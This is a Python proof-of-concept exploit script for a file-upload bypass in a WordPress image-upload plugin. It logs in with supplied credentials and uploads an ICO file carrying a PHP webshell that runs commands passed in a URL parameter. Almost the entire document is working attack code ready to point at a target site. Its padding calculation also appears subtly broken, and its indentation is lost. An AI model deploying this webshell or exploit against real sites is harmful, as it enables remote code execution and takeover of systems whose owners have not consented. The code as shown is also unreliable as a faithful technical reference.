#!/usr/bin/env python3
# CVE-2025-13069 PoC - WordPress Plugin File Upload Bypass
# Target: Enable SVG, WebP, and ICO Upload plugin <= 1.1.3
import requests
import sys
def create_malicious_ico():
"""Create a malicious ICO file with PHP webshell"""
# ICO file header (magic bytes)
ico_header = bytes([
0x00, 0x00, # Reserved
0x01, 0x00, # Type: ICO
0x01, 0x00 # Number of images: 1
])
# ICO directory entry
ico_entry = bytes([
0x10, # Width: 16
0x10, # Height: 16
0x00, # Color palette: 0
0x00, # Reserved
0x01, 0x00, # Color planes: 1
0x20, 0x00, # Bits per pixel: 32
0x28, 0x00, 0x00, 0x00, # Image size
0x16, 0x00, 0x00, 0x00 # Image offset
])
# BMP header for the embedded image
bmp_header = bytes([
0x28, 0x00, 0x00, 0x00, # Header size: 40
0x10, 0x00, 0x00, 0x00, # Width: 16
0x20, 0x00, 0x00, 0x00, # Height: 32 (doubled for mask)
0x01, 0x00, # Planes: 1
0x20, 0x00, # Bits: 32
0x00, 0x00, 0x00, 0x00, # Compression: none
0x00, 0x00, 0x00, 0x00, # Image size
0x00, 0x00, 0x00, 0x00, # X pixels per meter
0x00, 0x00, 0x00, 0x00, # Y pixels per meter
0x00, 0x00, 0x00, 0x00, # Colors used
0x00, 0x00, 0x00, 0x00 # Important colors
])
# PHP webshell payload
php_payload = b'<?php if(isset($_GET["cmd"])){ system($_GET["cmd"]); } ?>'
# Padding to make valid ICO
padding = b'\x00' * (40 + 16*16*4 + 16*16/8)
# Combine all parts
ico_file = ico_header + ico_entry + bmp_header + padding + php_payload
return ico_file
def exploit(target_url, username, password):
"""Exploit the file upload vulnerability"""
session = requests.Session()
# Login to WordPress
login_url = target_url.rstrip('/') + '/wp-login.php'
login_data = {
'log': username,
'pwd': password,
'wp-submit': 'Log In',
'redirect_to': '/wp-admin/'
}
print(f'[*] Logging in to {login_url}')
response = session.post(login_url, data=login_data)
if 'wordpress_logged_in' not in session.cookies:
print('[-] Login failed!')
return False
print('[+] Login successful!')
# Upload malicious ICO file
upload_url = target_url.rstrip('/') + '/wp-admin/media-new.php'
malicious_file = create_malicious_ico()
files = {
'async-upload': ('webshell.php.ico', malicious_file, 'image/x-icon')
}
print(f'[*] Uploading malicious ICO file...')
response = session.post(upload_url, files=files)
if response.status_code == 200:
print('[+] File uploaded successfully!')
# Extract uploaded file URL from response
if 'media' in response.text:
print('[!] Check WordPress media library for the uploaded file path')
return True
print('[-] Upload failed!')
return False
if __name__ == '__main__':
if len(sys.argv) < 4:
print(f'Usage: {sys.argv[0]} <target_url> <username> <password>')
sys.exit(1)
exploit(sys.argv[1], sys.argv[2], sys.argv[3])